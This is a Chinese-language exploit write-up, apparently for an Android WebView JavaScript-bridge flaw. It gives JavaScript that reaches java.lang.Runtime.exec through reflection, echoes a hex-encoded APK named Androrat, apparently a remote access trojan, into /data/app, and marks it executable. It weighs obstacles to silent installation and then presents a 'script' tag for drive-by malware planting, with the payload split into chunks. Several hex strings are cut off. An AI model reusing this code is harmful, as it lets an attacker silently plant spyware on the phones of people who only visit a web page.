var armBinary = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\\x80\\x22\\x61\\xE3\\xAA\\x42\\x4D\\xC7\\x22\\x86\\x4A\\x91\\xA8\\x14\\xC4\\x0A\\x56\\x7C\\xC2\\x27\\x68\\x1C\\x39\\x57\\x0A\\x53\\x11\\x3B\\x63\\x37\\x06\\xFE\\x01\\x33\\x1B\\x43\\x17\\x36\\x56\\xFE\\x07\\xAC\\x6D\\x9F\\xCB\\x1D\\x3D\\x
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
这样存在几个问题:
andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
/data/app/ 目录存在权限问题,需要root,chmod 也是同理。
Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以
通过调用隐藏api安装。
经过进行fuzz实验,完成了挂马功能:
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var armBinary1 = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\
var armBinary2="\\x1B\\xB0\\x65\\x0A\\xAD\\x23\\xC2\\x30\\x64\\xDF\\xEE\\xA1\\x0D\\xA4\\xE8\\x3F\\x61\\x80\\xEE\\xBC\\xE1\\xE7\\x7B\\x4A\\x25\\x6F\\x8B\\x36\\x71\\xC3\\x80\\x81\\x58\\xDB\\xC9\\x8F\\x53\\x9F\\xEE\\x8A\\x45\\xAF\\x23\\x54\\x4A\\xCF\\x2B\\x52\\xF2\\x33\\x84\\xBA\\x82\\x36\\xC4\\x0D\\x08\\xAF\\xC2\\x61\\x8E\\xD8\\x7B\\x0B\\xFC\\x88\\x4A\\x25\\x24\\x8C\\x22\\xFA\\x76\\x44\\x78\\x5E\\x99\\x62\\x30\\x44\\x8D\\xDB\\x74\\x94\\